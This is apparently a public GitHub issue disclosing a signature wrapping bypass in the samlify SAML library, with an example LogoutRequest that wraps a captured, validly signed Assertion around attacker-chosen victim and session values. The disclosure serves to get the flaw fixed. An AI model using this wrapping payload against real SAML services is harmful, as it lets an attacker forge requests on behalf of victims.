Signature wrapping bypass for LogoutRequest and AuthnRequest

[ericchiang]

I've tried to open a private report, but got no response, so I'm opening a publish issue

https://github.com/tngan/samlify/security/advisories/GHSA-63ch-w8pw-4mf2

samlify supports validating signatures on LogoutRequests and AuthnRequests. Both of these can be bypassed by taking an existing signed element from somewhere else in the protocol, and wrapping them in attacker controlled values.

The signature validation finds the wrapped signature element and reports a valid result, and the parser parses the outer, attacker-provided values.

<samlp:LogoutRequest ID="_ATTACKER_LR" Version="2.0" Destination="https://sp.example.com/slo">
  <saml:Issuer>https://idp.example.com</saml:Issuer>
  <saml:NameID>victim@example.com</saml:NameID>           <!-- attacker-chosen victim -->
  <saml:SessionIndex>_ATTACKER_SESSION</saml:SessionIndex> <!-- attacker-chosen -->

  <!-- captured, validly signed assertion -->
  <saml:Assertion ID="_cap1" Version="2.0">
    <saml:Issuer>https://idp.example.com</saml:Issuer>
    <saml:Subject><saml:NameID>anything</saml:NameID></saml:Subject>
    <ds:Signature>...valid signature over this Assertion...</ds:Signature>
  </saml:Assertion>
</samlp:LogoutRequest>